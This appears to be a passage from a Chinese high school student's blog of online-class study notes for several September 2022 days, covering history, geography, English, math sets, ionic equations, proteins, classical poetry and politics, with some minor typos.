( 2 )溶液可能是酸性也可能是碱性: ①加入甲基橙显黄色 ②HCO3-离子不能存在的溶液

历史

隋唐制度的变化与创新

一、入仕之途

思考：九品中正制因何产生？

(1)汉末社会动荡，人口迁移频繁，察举制失去社会基础； (2)地方士族操控选官制度，干扰人才选拔。 (3)缓解中央政府与世家大族的紧张关系，有利于加强中央集权。

思考：九品中正制有何不合理之处？

无考核标准，后期沦为士族门阀统治的工具。

选官制度	九品中正制	科举制
选官权	中正官	中央政府
选拔方式	推举	考试
选拔标准	门第(分级不分科)	考试成绩(分科考试)
选拔范围	世家大族为主	士族、庶族

思考：体现选官制度呈现怎样的变化趋势？

公平、公开、开放

科举制的影响：

①使出身社会中下层的读书人通过相对公平的考试参与政权，扩大了统治的基础，促进阶级流动。 ②有利于社会重学风气的形成，有利于提升社会文化水平；提高了官员的文化素养，加强了中央集权消极：后期科举选拔标准单一，压抑个性，禁锢思想;且考试内容重儒学，忽略科技。

二、政权之形

思考：秦与唐中央官制对比，有何区别?

①相权分割，有利于加强皇权； ②更看重权力制衡，而非职责分工； ③门下拥有封驳权，一定程度上起到节制皇权作用；

思考：如何评价三省六部制

三省六部制是中国官制的重大变革，此后历朝基本上沿袭这种制度。

演变趋势 ①皇权不断加强，相权日益衰弱; ②分工明确，行政效率提高，中央决策和行政体系日益完备。

三、赋税之法

古代民众的义务：

均田制：指政府不触动原有私有土地的基础上，把无主荒地分配给无地或少地农民耕种，接受土地的农民要向封疆国家交纳赋税和服役，土地只允许使用不允许买卖。

北魏孝文帝改革以均田制为基础租（田亩税）：粮食调（人头税）：帛或布 （以均田制接受的土地为基础成年男子负担一定徭役）

征收标准：按户征收粮和绢帛

庸:代役税影响:以庸代役，保证农民有较充分的生产时间，政府的赋税收入也有了保障。

思考：租庸调制为何无法继续实施？而改为两税法？

背景：户籍损坏，人口统计少于实际人口军费加至赋税，任意加收富者逃税，穷者课税，贫富差距拉大官吏盘剥严重，逃户变多

思考：根据两税法内容，说一说其所起到的作用。

放松了人身控制，扩大收税对象(保证国家财政收入) 简化收税名目；简化纳税时间；消极影响：吏治腐败，导致税外加征，百姓的负担逐渐加重。

★探究：赋税制度的演变趋势

征税标准：①征税标准转变，以人丁为主（两税法）→以财产为主人身控制：②政府对农民人身控制减弱 税收种类：③税收种类简化 征税内容：④征税内容变化，实物→货币

课堂小结

一、入仕之途 1.九品中正制 2.科举制二、政权之形 1.三省六部制三、赋税之法 1.租调制 2.租庸调制 3.两税法

地理

辨别地理方向

利用太阳来辨别方向

一天当中的太阳高度(角)是如何变化的? 以40° N为例，二分、二至日，太阳日出、日落方位?

一、利用太阳来辨别方向

1.利用太阳方位判别方向 ①观察地平面方位 ②哪一个节气太阳从正东升起?这一天的日落方位是? ③哪一个节气太阳运动路径最长(白昼最长) ?

④观察各节气太阳高度最大时(正午)的方位

A北(南)回归线以北(南)地区,正午太阳位于正南(北)方; B赤道与北(南)回归线之间,直射点位置在已知点的北(南)方,则正午太阳在正北(南)方天空。

正午太阳方位取决于直射点所在纬度与该地纬度的南北关系。

二、根据影子辨别方向

地物影子与太阳方向相反;

北回归线以北地区正午时地物影子朝向北；南回归线以南地区正午时地物影子朝向南。

三、正午太阳高度角的计算

正午太阳高度=90-纬度差（记为H）

若所求地点与太阳直射点在同一半球，纬度差为大数减小数；（同减）

不在同一半球时，纬度差为二者纬度之和。（异加）

以40° N为例，绘制二分、二至日太阳视运动示意图。

利用北斗星辨别方向

地球自转轴(地轴)的北段指向北极星，地球的体积对无穷宇宙空间而言可看成一个点，所以北极星的光线可看成作平行光线。

依据:北半球北极星位于正北天空，其高度角相当于当地纬度，南半球看不到北极星。
寻找北极星:

(1)北极星的位置:、：天璇和天枢假想连线向天枢方向延伸约5倍的亮星。 (2)注意：北斗七星会随季节的变化而围绕北极星在天空中旋转。

利用手机辨别方向

一、利用手机辨别方向

二、利用手表辨别方向

方法一：

步骤:

手表平置，时针指向太阳方向;
确定方向: a) 上午:按顺时针，沿时针与12点刻度线之间所成夹角的角平分线方向为南方: b)下午: 按逆时针，沿时针与12点刻度线之间所成夹角的角平分线方向为南方;

注意:所利用的手表时间应为当地的地方时地方时:因经度而不同的时刻，称为地方时。由于地球自转，同纬度偏东方向总比偏西方向的地方先看到日出，时刻要早(如我国喜欢用北京时间，由于北京为东经116° 23'，划分为东八区)

方法2：

以下午14点为例，14/2=7, 7点位置对准太阳，此时12点位置的指向即是北方。

时数折半对太阳，12指的是北方。

利用地物辨别方位

一、积雪融化速度

根据地物南北两面的积雪融化程度判别方向：北半球中高纬度地区冬季下雪后，朝北一面积雪融化速度一般比朝南一面慢。

二、树木生长状况和年轮宽度

根据树木生长特征判别方向： 向阳面枝叶较茂盛，年轮间距较大；背阳面树干上常有苔藓，年轮间距较小。

三、传统民居朝向

根据房屋朝向判别方向 为获得充足的阳光，减轻冬季冷空气的影响，北半球房屋多为坐北朝南，因此大部分房屋的走向是东西方向的，房屋大门一般是朝向南方的。(道路两侧房屋除外)

四、太阳能集光板朝向

根据太阳能集光板朝向判别方向 对于北半球来说，太阳能集光板一般朝南，而且纬度越高，集光板与水平面的夹角越大。

<h1 style="font-size:20px">【今日网课结束】</h1>

学习笔记丨网课第十三天

Fri, 16 Sep 2022 00:00:00 GMT

开学第十三天

英语

Welcome Unit

笔记小测

一系列 a series of
关于prep. concerning
不安n. restlessness
除....之外 apart from
在....上有信心 have confidence in
渡过( 难关) get through
粗心n. earelessness
他们一直盼望的这十天终于到来了。 The day they had beenHooking forward to came at last.
智能手机smart phone
收到... 来信hear from sb
现在 right now
与某人交朋友 make friends with
根本(否/疑) at all
有很多要探索的东西。 There is a lot to explore.
我感觉比今大堂晨更加地白信。I feel much more confident than I felt this morning.

课外阅读

Chinese legends had it that there is a god named Pangu who created heaven and earth. Legends say his head turned into the Taishan mountain. Therefore, Taishan is recorded as the head of China's five mountains. Located in china's Shandong province, Taishan has witnessed the Chinese history for thousands of years. Chinese ancestors believe that Tai Shan was a holy mountain which connected with heaven. Because of this, Emperors built altars on Taishan to pray for the nation's prosperity and people's happiness. You will experience its steepness when you c1imb up Taishan. Thousands of steps go up the side of the steep mountain, and interesting peaks and trees stand on both sides of the trail. You can enjoy the beautiful sunrise and sea of clouds at the peak of Taishan. In 1987 it was the first Chinese site to be put on the list of world natural and cultural heritage sites by UNESCO (联合国教科文组织).

听写部分

【略】

Discovering Useful Structure

句子成分

定义：构成句子的各个部分叫做句子成分。句子成分主要成分和次要成分

主要成分：主语和谓语

次要成分：表语、宾语、定语、状语、补足语、同位语

S表示“主语(subject)” V表示“动词(verb) ” O表示“宾语(object)” P表示“表语(predicative)” A表示“状语( adverbial)” DO表示“ 直接宾语(direct object)” IO表示“ 间接宾语(indirect object)” C表示“补语(complement)”

五大基本句型

S+V (主谓) S+V+O (主谓宾) S+V+IO+DO (主谓间宾直宾) S+V+O+C (主谓宾宾补) S+V+P (主系表)

Reading for writing

Do you know how to write a student profile?

a student profile is a brief introd uction that gives us useful information about a student 简况，档案；

Read the student profiles and discuss the questions.

Ann, 15 Lakeside High School USA

My name is Ann Wells and I'm a Grade 10 student at Lakeside High School. I'm an active person and I love sports. I'm curious about everything. I often ask questions, but I learn best by doing. My favorite subject is physics. Dancing and skating are my hobbies, and I also like to read short stories. I plan to become an engineer in the future.

A Name, age, grade, school B Personality C Favorite subject D Learning style E Hobbies F Future plans and dreams

Thando, 16 South Hill High School South Africa

I'm Thando Gowon. I'm 16 this year. I come from South Africa. I'm a Grade 10 student at South Hill High School. I look good, think fast, and play hard. You'll never see me without a book or a pen. IfI 'm not in class, I'm either in the library or in the computer lab. At the weekends, I play computer games if I'm not busy studying. My dream is to start my own IT company!

A Name, age, grade, school B Personality C Favorite subject D Learning style E Hobbies F Future plans and dreams

writing

假如你是李华，一名振华高中的学生,请根据下表信息写一篇自我介绍。

范文：

My name is Li Hua, and I'm a Grade l0 student at Zhenhua Senior High School. I'm quiet and very easy-going. I just don't let things bother me—I always try to stay as cool as a cucumber. My, favorite subject is . Chinese, because I find Chinese characters fascinating, and I love to write new characters using calligraphy. In fact, I spend most of my free time practicing it. When I'm not studying or practicing calligraphy, I play basketball with my friends. I plan on being a writer in the future.

Building Up Your Vocabulary

Match the pictures with the best adjectives. Then describe each picture in two or three sentences.

Match the verbs on the left with the nouns on the right. Then make sentences with your new phrases.

register (for) a class

Good morning. I'd like to register for a class.I 'm interested in any classes on music!
exchange ideas We meet every Tuesday and exchange ideas about how to run our school clubs better.
design a dress Sally was asked to design a dress for her sister's birthday party.
explore the world My dream is to travel a lot and explore the world.
give a lecture Our head teacher went to Wuhan to give a lecture on school management last April.
take notes Please take notes while you listen to the lecture.

Read the learning tips.Rewrite the underlined parts with the new words from this unit that have the similar meaning.

数学

集合的基本运算（一）

并集概念

一般地，由所有属于集合A或属于集合B的元素所组成的集合，称为集合A与B的并集（Union set）．记作：A∪B（读作：“A并B”）即： A∪B ={x| x ∈ A ,或x ∈ B} 说明：两个集合求并集，结果还是一个集合，是由集合A与B 的所有元素组成的集合（重复元素只看成一个元素）． Venn图表示：

“或”的理解：三层含义

1.元素属于A但不属于B.即:{x|x∈A,但$x\not\in B$} 2.元素属于B但不属于A.即:{xlx∈B,但$x\not\in A$} 3.元素既属于A又属于B.即:{x|x∈A且x∈B}= A∩B 由1.2.3.的所有元素组成的集合是A与B的并集.
交集概念

一般地，由所有属于集合A且属于集合B的元素组成的集合，称为A与B的交集（intersection set）．记作：A∩B（读作：“A交B”）即： A ∩ B ={x| x ∈ A,且x ∈ B} 说明：两个集合求交集，结果还是一个集合，是由集合A与B 的公共元素组成的集合． Venn图表示：
全集概念

一般地，如果一个集合含有我们所研究问题中所涉及的所有元素，那么就称这个集合为全集．通常记作U．注意：全集是相对于所研究问题而言的一个相对概念，它含有与所研究问题有关的各个集合的全部元素.因此全集因问题而异.
补集概念

对于一个集合A ，由全集U中不属于集合A的所有元素组成的集合称为集合 A 相对于全集U 的补集, 简称为集合A的补集．记作：$C_UA$即：$C_UA$={x| x ∈ U 且$x\not\in A$} 说明：补集的概念必须要有全集的限制． Venn图表示：

课堂小结

回顾本节课你有什么收获？ ⑴ 并集、交集、补集 A∪B＝{x|x∈A或x∈B}， A∩B＝{x|x∈A且x∈B}； $C_UA$={x| x\in U，且x\not\in A}

（2）利用数轴和Venn图求交集、并集、补集；（3）性质A∩A＝A，A∪A＝A， A∩$\varnothing$＝$\varnothing$，A∪$\varnothing$＝A； A∩B＝B∩A，A∪B＝B∪A.

集合的基本运算（二）

题型一集合的交集运算、并集运算及补集运算

解题方法（求两个集合的并集、交集及补集的常用方法）

定义法:对于用列举法给出的集合,则依据并集、交集的含义,可直接观察或借助于Venn图写出结果.
数形结合法：对于用描述法给出的集合,首先明确集合中的元素,其次将两个集合化为最简形式;对于连续的数集常借助于数轴写出结果,此时要注意数轴上方所有“线”下面的实数组成了并集,数轴上方“双线”(即公共部分)下面的实数组成了交集,此时要注意当端点不在集合中时,应用空心点表示.

题型二已知集合的交集、并集求参数

解题方法(由集合交集、并集的性质解题的方法) 当利用交集和并集的性质解题时,常借助于交集、并集的定义将其转化为集合间的关系去求解,如A∩B=$A\Leftrightarrow A\subseteq B$,A∪B=$A\Leftrightarrow B\subseteq A$等.当题设中隐含有空集参与的集合关系时，其特殊性很容易被忽视，从而引发解题失误.

化学

习题处理

【略】

离子反应

一、离子反应

离子反应：电解质在溶液中的反应实质上是离子之间的反应
离子方程式：用实际参加反应的离子符号来表示反应的式子 $$ SO_4^{2-}+Ba^{2+}=BaSO_4\Downarrow $$

二、离子方程式的书写

以$Na_2SO_4$溶液与$BaCl_2$溶液的反应为例

“写” 写出反应化学方程式

$Na_2SO_4+BaCl_2=BaSO_4\Downarrow +2Nacl$
“拆” 把易溶于水且易电离的物质拆成离子形式；

易溶于水且易电离：强酸、强碱、大部分可溶性盐

单质，气体，氧化物，弱酸，弱碱，难溶物，水等仍用化学式表示。

$Ba^{2+}+2Cl^-+2Na^++SO_4^{2-}=BaSO_4\Downarrow +Na^++2Cl^-$
“删” 删去方程式两边不参加反应的离子，并将方程式化为最简
“查” 检查离子方程式两边各元素原子个数和电荷总数是否相等 遵循质量守恒和电荷守恒

及时小练

历史

从隋唐盛世到五代十国

隋的兴亡

隋朝之兴亡

隋朝之文治武功

广设粮仓

奠定强盛的物质基础
营建东都洛阳

便于控制关东和江南地区
开通大运河

贯通南北，巩固同一，经济交流，沿岸城市发展

隋朝之盛极而亡

隋朝盛极而亡的原因 滥用民力、劳师远征，导致国富民穷、阶级矛盾激化，引发大规模起义。

隋朝之炀帝功过

功:灭陈，结束分裂局面，完成了国家统一；开凿大运河，贯通南北，巩固统一，促进南北经济交流以及运河沿岸城市发展。过:大兴土木，穷兵黩武，阶级矛盾激化，引发了大规模起义。

唐的盛世

唐朝之盛世

国力强盛、经济繁荣、文化昌盛、社会安定

生产力提高、工商业发达

唐朝之治理与开拓

综上，请您谈谈盛世出现的推动性因素有哪些?

政治:完成统一、改革吏治、开创完善制度、选贤任能、从谏如流; 经济:发展生产，规范赋税徭役; 文化:完善科举制，大兴文治，兴学重教; 军事:改革兵制、对外节制用兵; 民族关系:民族平等政策，促进民族交融

结合教材及地图，指出唐朝处理民族关系的措施?

西北:突厥**(战争+设置机构)** 北部:回纥**(册封)** 东北:鞋羯**(册封)** 西南:吐蕃**(和亲、会盟)** 羁縻管理:委其首领自治，中央驻军较少

羁縻府州制度:既保留少数民族传统的行政管理制度又将少数民族地区纳入国家统一行政设置之中，加授各族首领担任唐朝地方政府一羁縻州的都督、刺史等官，并且世袭其职，让他们继续统辖本族人民。

根据材料并结合所学，归纳唐朝开明民族政策的历史意义。

思考角度： 民族交融； 经济文化交流； 边疆的开发(农耕经济)； 统一多民族国家的发展和巩固等。

唐的悲憾

唐朝之动荡与衰亡

材料1:天宝之乱的主要原因，由于唐玄宗晚年的.怠逸，宫内有杨贵妃的擅宠，宫外有李林甫、杨国忠诸奸用事，终至酿成安史之乱。——《中华通史》

材料2:天宝末，天子以中原太平，修文教，废武备，销锋鏑，以弱天下豪杰。....不肖子弟为武官者，父兄摈之不齿。唯边州置重兵，中原乃包其戈甲，示不复用，人至老不闻战声。六军诸卫之士皆市人白徒，富者贩缯彩，食粱肉，壮者角抵拔河，翘木扛铁，日以寝斗，有事乃股栗不能授甲。——《唐会要》

政治腐败、节度使权重，国家出现外重内轻局面。

藩镇割据、宦官弄权、朋党之争、黄巢之乱

五代十国

五代十国之分裂与新生

地理

地球的圈层结构

方法一：人工钻井

方法二：利用地震波

可控震源车

地震车造出“地震波” 在车轮中部4个液压轴连接到位于车身下部的“地震锤”,液压轴通过.上下伸缩把“地震锤”提起然后砸向地面，强大的力量冲击地下的岩层，一次人工地震就形成了。地震锤产生的能量在传播时遇到不同的物质其传播速度是不同的,因而检波器根据能量的变化就可以推测地球内部圈层的结构。

1. 地震波 ——照亮地球内部的明灯

①概念：当地震发生时，地下岩石受到强烈冲击，产生弹性波动，并以波的形式向四周传播，这种弹性波叫地震波

②地震波的分类及特点

横波的破坏性比纵波强

黄金12秒

情景体验

当发生地震时，陆地上的人们人们首先感觉到上下晃动还是左右晃动？为什么？如果是在海洋上的航行者会有什么感觉呢？

陆地上的人首先感受到的是上下颠簸，然后是左右摇晃；而海洋上的人只能感受到上下颠簸。因为纵波传播速度快，可在固、液、气三态物质中传播，而横波只能在固态中传播。

2. 地球的内部圈层结构

不连续面：地震波波速在一定深度发生突然变化。

不连续面	地下深度	波速变化
莫霍界面	33km	波速明显增加
古登堡界面	2900km	纵波波速突然下降<br />横波完全消失

依据：地震波波速突然地变化

3. 地壳

地壳的特点

①由岩石组成的坚硬外壳。连续不规则的圈层，厚薄不一，陆厚(约33千米)洋薄(约7千米)，平均厚度为17千米。 ②一般山地、高原比平原地区地壳厚度大。 ③分为硅镁层和硅铝层，硅铝层在海洋部分缺失。

岩石圈的组成

软流层以上的地幔部分(上地幔的顶部)与地壳，主要由岩石组成，构成了岩石圈。

小结：地球内部圈层

地球的外部圈层

地球固体表面以上的各个圈层，称为外部圈层。

1. 大气圈

外部圈层	概念	组成/分布	意义
大气层	由气体和悬浮物组成的包围地球的复杂系统	主要成分是氮和氧	①地球生命的保护伞;<br/>②使地球得到温度变化和缓;<br/>③提供生物生存所必须的氧气;<br/>④大气圈中的风、云、雨、雪等天气现象，与人类息息相关。

2. 水圈

(1)水圈由固、液、气三态水共同组成,按存在的位置和状态分为海洋水、陆地水、大气气水和生物水，水圈没有一个完整的形状，因此说它是不规则的； (2)地球上的各种水体又通过自然界物质的循环相互联系、相互转化，所以说水圈又是连续的。

外部圈层	概念	组成/分布	意义
水圈	地球表层各种水体组成的连续</u>但<u>不规则</u>的圈层	主体是海洋，还包括陆地上各种水体	①生物生存和发展不可或缺；<br/>②促进地表物质迁移和能量转换。

3. 生物圈

外部圈层	概念	组成/分布	意义
生物圈	地表生物及其生存环境的总称	大气圈底部，<br/>水圈的全部，<br/>岩石圈上部	①从环境获取物质和能量;<br/>②促进太阳能转化;<br/>③改变大气圈和水圈组成;<br/>④改变地表形态。

生命活动渗透到大气圈、水圈和岩石圈中。因此，生物圈成为地球上最具活力的圈层。

4. 四圈层的关系

关系:大气圈、水圈、生物圈和岩石圈相互联系、相互制约、相互渗透，不断地进行着物质和能量的交换,形成了人类赖以生存的地球表层环境。

课堂小结

<h1 style="font-size:20px">【今日网课结束】</h1>

学习笔记丨网课第十二天

Thu, 15 Sep 2022 00:00:00 GMT

开学第十二课

语文

理解性默写

梦游天姥吟留别

登高

风急天高猿啸哀，渚清沙白鸟飞回。无边落木萧萧下，不尽长江滚滚来。万里悲秋常作客，百年多病独登台。艰难苦恨繁霜鬓，潦倒新停浊酒杯。

琵琶行并序

新课学习

京口北固亭怀古

写作背景

写此词时辛弃疾已六十五岁，他从42到60岁一直过着“隐居”生活,得不到朝廷重用。这期间，1203年被当时执掌大权的韩傧(tu6) 胄(zhou) 起用。1204年韩为了巩固自己的地位，草草北伐。而镇江濒临抗战前线，是北伐的重要基地。辛弃疾到任后，做了大量的准备工作，但韩把持朝政，只想侥幸求逞。韩不听辛弃疾之劝，后来把他调离了镇江。本词是辛弃疾被起用又被降职时，登上北固亭，满怀悲愤而写。

解读诗歌

品读课文

感受情感基调

从这首词中，你读出了诗人怎样的感情？

豪迈、悲愤

在京口北固亭，词人都想到了什么？用到了哪些典故？

上片：孙仲谋→舞榭歌台风流业绩刘裕→金戈铁马万里如虎

下片：刘义隆→元嘉草草仓皇北顾拓跋焘→佛狸祠下神鸦社鼓廉颇→廉颇老矣尚能饭否

品读诗歌

千古江山，英雄无觅孙仲谋处。舞榭歌台，风流总被雨打风吹去。

表达了对前人事业后继无人的惋惜，暗指南宋统治者昏庸无能。

斜阳草树,寻常巷陌，人道寄奴曾住。想当年，金戈铁马,气吞万里如虎。

表达向往英雄业绩及抗金决心。

元嘉草草，封狼居胥，赢得仓皇北顾。

辛弃疾引用宋文帝惨败的故事的目的是什么？

借鉴历史，指出伐金必须做好准备，委婉劝韩侂胄不能草率行事。

四十三年，望中犹记，烽火扬州路。可堪回首，佛狸祠下，一片神鸦社鼓!

诗人写佛狸祠下的神赛会的一幕景象，是什么心情？

作者的心情是沉重的，表达了自己的隐忧:如今江北各地沦陷已久，不迅速谋求恢复，百姓就安于异族统治，忘记了自己是宋室臣民。表达对南宋政权不图恢复中原的不满。

典故解读

凭谁问:廉颇老矣，尚能饭否?

作者借用廉颇的典故，用意是什么？

以廉颇自况，虽60多岁仍想为国效力:可当政者不接受他的建议，又有小人挑拨，他感到悲愤，担心像廉颇一-样被弃置不用。抒写了自己虽有远大抱负，而朝廷却不重用，壮志未酬的苦闷。而这正是全诗的主旨。

总结写法

用典：

所谓用典，就是引古事、古人来比喻今事、今人以抒发情怀，是古代诗文中常见的-种写作手法，统称“用典”恰当地用典，可使诗文文情隽永，含蓄深刻。用典或仰慕古人；或以古人自况，感慨身世;或借古讽今等等。言简意赅，以一当十。

小结

数学

集合间的基本关系（一）

子集定义

一般地，对于两个集合A、B，如果集合A中任意一个元素都是集合B中的元素，我们就说这两个集合有包含关系，称集合A为集合B的子集.

记作：$A\subseteq B（或B\supseteq A）$ 读作：“A含于B” (或“B包含A”) 符号语言：$任意x\in A，有x\in B，则A\subseteq B$

韦恩图Venn图：用一条封闭曲线（圆、椭圆、长方形等）的内部来代表集合叫集合的韦恩图表示.

图中A是否为B的子集?

集合相等

观察下列两个集合，并指出它们元素间的关系

A＝｛x｜x是两条边相等的三角形｝，B＝｛x｜x是等腰三角形｝. 中集合A中的元素和集合B中的元素相同．

定义：如果集合Ａ的任何一个元素都是集合Ｂ的元素，同时集合Ｂ任何一个元素都是集合Ａ的元素，我们就说集合Ａ等于集合Ｂ，记作Ａ＝Ｂ。

真子集

观察以下几组集合，并指出它们元素间的关系：（1）A={1,3,5}, B={1,2,3,4,5,6} （2）A={四边形}, B={多边形}

定义：如果集合A⊆B,但存在元素x∈B,且x∈A并且A≠B,称集合A是集合B的真子集

记作：$A\subsetneqq B（或B\supsetneqq A）$ 读作：“A真含于B（或“B真包含A”).

空集

我们把不含任何元素的集合叫做空集，记为$\varnothing$，并规定：空集是任何集合的子集。

空集是任何非空集合的真子集，即$\varnothing \subsetneqq B（B\not= \varnothing）$

例如:$方程x^22+1=0没有实数根,所以方程x^2+1=0的实数根组成的集合为\varnothing$

深化概念

$包含关系\lbrace a \rbrace \subseteq A与属于关系a \in A有什么区别？$

前者为集合之间关系，后者为元素与集合之间的关系.
$集合A\subsetneqq B与集合A \subseteq B有什么区别$
0，{0}与$\varnothing$三者之间有什么关系?

{0}与$\varnothing$：{0}是含有一个元素0的集合， $\varnothing$是不含任何元素的集合。

如$\varnothing \subsetneqq${0}不能写成$\varnothing$={0}，$\varnothing$∈{0}

课堂小结

集合间的基本关系（二）

题型一写出给定集合的子集

解题方法（分类讨论是写出所有子集的方法） 1.分类讨论是写出所有子集的有效方法,一般按集合中元素个数的多少来划分,遵循由少到多的原则，做到不重不漏. 2.若集合A中有n个元素,则集合A有$2^n$个子集,有$(2^n-1)$个真子集，有$(2^n-1)$个非空子集，有$(2^n-2)$个非空真子集,该结论可在选择题或填空题中直接使用.

题型二韦恩图及其应用

解题方法(venn图应用) venn是集合的又一种表示方法,使用方便,表达直观,可迅速帮助我们分析问题、解决问题,但它不能作为严密的数学工具使用.

题型三由集合间的关系求参数的范围

解题方法（根据集合之间关系，求参数的值或范围） 1.求解此类问题通常是借助于数轴,利用数轴分析法,将各个集合在数轴上表示出来,以形定数,同时还要注意验证端点值,做到准确无误,一般含“=”用实心点表示,不含“=”用空心点表示. 2.涉及“A⊆B”或“A⫋B,且B≠$\varnothing$”的问题,一定要分A=$\varnothing$和A≠$\varnothing$两种情况进行讨论,其中A=$\varnothing$的情况容易被忽略,应引起足够的重视

物理

【本节物理课为习题处理】

生物

蛋白质是生命活动的主要承担者

一、蛋白质的功能

1. 结构蛋白

许多蛋白质是构成细胞和生物体结构的重要物质。如肌肉、头发、蛛丝、羽毛等的成分主要是蛋白质。

2. 催化作用

细胞内的化学反应离不开酶的催化。绝大多数酶都是蛋白质。

3. 调节作用

有些蛋白质能够起信息传递的作用，调节机体的生命活动，如胰岛素、胰高血糖素。

4. 免疫功能

抗体是具有免疫功能的蛋白质，可帮助人体抵御细菌和病毒的侵害。

5. 运输作用

有些蛋白质具有运输功能。如血红蛋白、载体蛋白。

蛋白质功能的实现

每一种蛋白质分子都有与它所承担功能相适应的空间结构

蛋白质的功能多种多样、蛋白质的种类多种多样这与蛋白质的组成和结构有关吗?

二、蛋白质的基本单位——氨基酸

（一）人体内的21种氨基酸

（二）氨基酸的结构

1.元素组成? C、H、0、N(S)

结构异同?

共同结构：

氨基：——$NH_2$
羧基：——COOH
氢原子：——H
中心碳原子：——C

不同结构：侧链基团（R基）：——R

氨基酸的结构通式
结构特点
- 氨基羧基的数量
  
  每种氨基酸至少都含有一个氨基（——$NH_2$）和一个羧基（——COOH）
- 氨基和羧基的连接位置
  
  都有一个氨基（——$NH_2$）和一个羧基（——COOH）连接在同一个碳原子上，这个碳原子还连接一个氢原子和一个侧链基团

每个氨基酸分子至少都含有一个氨基（——$NH_2$）和一个羧基（——COOH），其他的氨基或羧基都位于侧链基团R基中。

R基分析

①R基的判断:排除法,即找出氨基酸的共同体(连接在同一碳原子上的一$NH_2$、一COOH和一H) ,剩下的部分为R基。 ②决定氨基酸的种类和理化性质。 ③决定氨基酸中所含氨基和羧基的数量:除了连接在同-个碳原子上的氨基和羧基外,多余的氨基和羧基定位于R基中。 ④决定氨基酸的组成元素:氨基酸结构通式中含有C、H、O、N四种元素,若含有其他元素则一定位于R基中。

蛋白质的结构及其多样性

（一）氨基酸脱水缩合形成肽链

蛋白质是生物大分子，由许多氨基酸分子通过脱水形成肽链相连而成。肽键是连接两个氨基酸分子的化学键。

脱水缩合

一个氨基酸分子的羧基和另一个氨基酸分子的氨基相连接，同时脱去一分子的水，这种结合方式脚脱水缩合
肽的名称的确定

由几个氨基酸构成，就称为几肽。由多个氨基酸分子缩合而成的化合物，叫多肽。

脱水缩合的知识总结

（二）蛋白质的结构层次

（三）肽链连接方式——二硫键

许多蛋白质含有两条或多条多肽链，他们通过一定的化学键如二硫键结合在一起

氨基酸形成蛋白质（血红蛋白）的过程

政治

中国特色社会主义的创立、发展和完善

议题一：中国特色社会主义的形成

中国共产党坚持把马克思主义基本原理同当代中国实际和时代特点相结合，不断推进理论穿心、时间创新、制度创新，成功开创、坚持和发展了中国特色社会主义

一、改革开放以来党的全部理论和实践的主题

理论和实践的主题

走自己的路、建设有中国特色的社会主义

（1）中国特色社会主义是改革开放以来党的全部理论和实践的主题，中国共产党所有的理论创新和实践创新都是紧紧围绕这个主题展开的。

（2）改革开放以来，中国共产党坚持把马克思主义基本原理同当代中国实际和时代特点相结合，不断推动理论创新、实践创新、制度创新，开创、坚持和发展了中国特色社会主义

议题二：中国特色社会主义的发展？

中国特色社会主义发展过程和理论成果：邓小平理论、“三个代表”重要思想、科学发展观、习近平新时代中国特色社会主义思想

中国特色社会主义理论体系：

中国共产党带领全国人民开辟了中国特色社会主义道路，形成了中国特色社会主义理论体系，确立了中国特色社会主义制度，发展了中国特色社会主义文化

中国特色社会主义道路、理论、制度、文化

中国特色社会主义理论体系（行动指南）

作用：中国特色社会主义理论体系是知道党和人民实现中华民族伟大复兴的正确理论，是立足时代前沿、与时俱进的科学理论

特点：紧密结合我国改革发展的实际，紧密结合新的时代条件，既生动具体的坚持了马克思列宁主义、毛泽东思想，又生动而具体的发展了马克思主义、毛泽东思想，富裕马克思主义新的鲜活力量，写出了科学社会主义的“新版本”

（3）中国特色社会主义制度（根本保障）

一、人民代表大会制度、中国共产党领导的多党合作政治协商制度、民族区域自治制度、基层群众自治制度

二、地位（作用）：制度优势是一个国家的最大优势，制度竞争是国家间最根本的竞争，制度稳则国家稳

（4）中国特色社会主义文化（精神力量）

①内涵：发展中国特色社会主义文化，就是以马克思主义为指导，坚守中华文明立场，立足当代中国现实，结合当今时代条件，发展面向现代、面向世界、面向未来的，民族的科学的大众的社会主义文化，推动社会主义精神文明的物质文明协调发展

②地位（作用）：中国特色社会主义文化积淀着中华文明最深沉的精神追求，代表着中华民族的精神标志，是激励全党全国各族人民奋勇前进的强大精神力量

中国特色社会主义道路、理论、文化的地位、互相关系及对待态度

（1）地位：

（2）关系：中国特色社会主义道路、理论、制度、文化相互联系、相互作用，统一与中国特色社会主义伟大实践

（3）如何对待：始终高举中国特色社会主义伟大旗帜，坚定道路自信、理论自信、制度自信、文化自信

<h1 style="font-size:20px">【今日网课结束】</h1>

学习笔记丨网课第十一天

Wed, 14 Sep 2022 00:00:00 GMT

开学第十一课

英语

welcome unit

Reading and Thinking

笔记小测

奉献的专注的 dedicated
认真的真诚的 earnest
及时的/地 timely
注意的/集中精力地 attentively
陪伴 accompany
The Mid-Autumn Festival falls ( 发生) on the 15th of the eighth month of our Chinese lunar calendar(农历).
受欢迎 enjoying great popularity
除....之外 in addition to
一系列 a wide range of
垃圾分类政策 garbage sorting policy
未能做某事 fail to do sth
因某事罚款某.... fine sb sth for (doing) sth
被迫做某事 be forced to do sth
下定决心做某事 make up one's mind(s) to do sth
在....上努力 work hard at sth
取得很大进步 make much progress
因某事表扬某人 praise sb for (doing) sth
给某人关....的建议 give sb some advice on..

课外阅读

Chinese green tea: A mouthful of cool summer

As costume(戏服/服装) drama A Dream of Splendor attracted many audiences this summer, the way the heroine Zhao Pan'er makes tea also drew much attention. China, home of most of the world's tea, also has a series of customs concerning tea making and tea choice according to the season. In the summer, the most recommended one is green tea, for its character is "cold" in traditional Chinese medical theories, suitable to smooth the restlessness caused by hot summer. Since the Southern Song Dynasty (1127-1279), loose leaf green tea has been popular in China. Emperor Qianlong from the Qing Dynasty (1644-1911) was a tea lover and often enjoyed Longjing, the most well-known Chinese green tea, in summer. Apart from Longjing, Chinese green tea has many family members with beautiful and poetic names, such as Yunwu . Below are just some examples of these poetic teas

words and expressions

Step 1.Lead-in

How do you feel on your first day of the Senior Highschool? Tell your classmates about your feeling.

I felt very excited, but also anxious on my first day of senior high school. It was the beginning of a new part of my life and everything seemed so new and interesting. On the other hand, I was worried thatI would not be able to make friends and that the schoolwork would be too hard.

Step 2. Pre-Reading

Where is the passage from?

A student's cellphone.
What's the topic of the passage?

Han Jing's first impressions on her new school.

In what order is the passage organised?

In time order.

Step 3. While-Reading

Match the main ideas with each paragrah

Skim the reading passage and fill in the chart.

Read the text again and discuss the questions.
1. Why did Han Jing feel anxious before school?
  
  She is not outgoing.
2. What's her math teacher like? and how was her first math class?
  
  She was kind and friendly, but the class was difficult.
3. What happened in the chemistry class? What would you do if this happened to you?
  
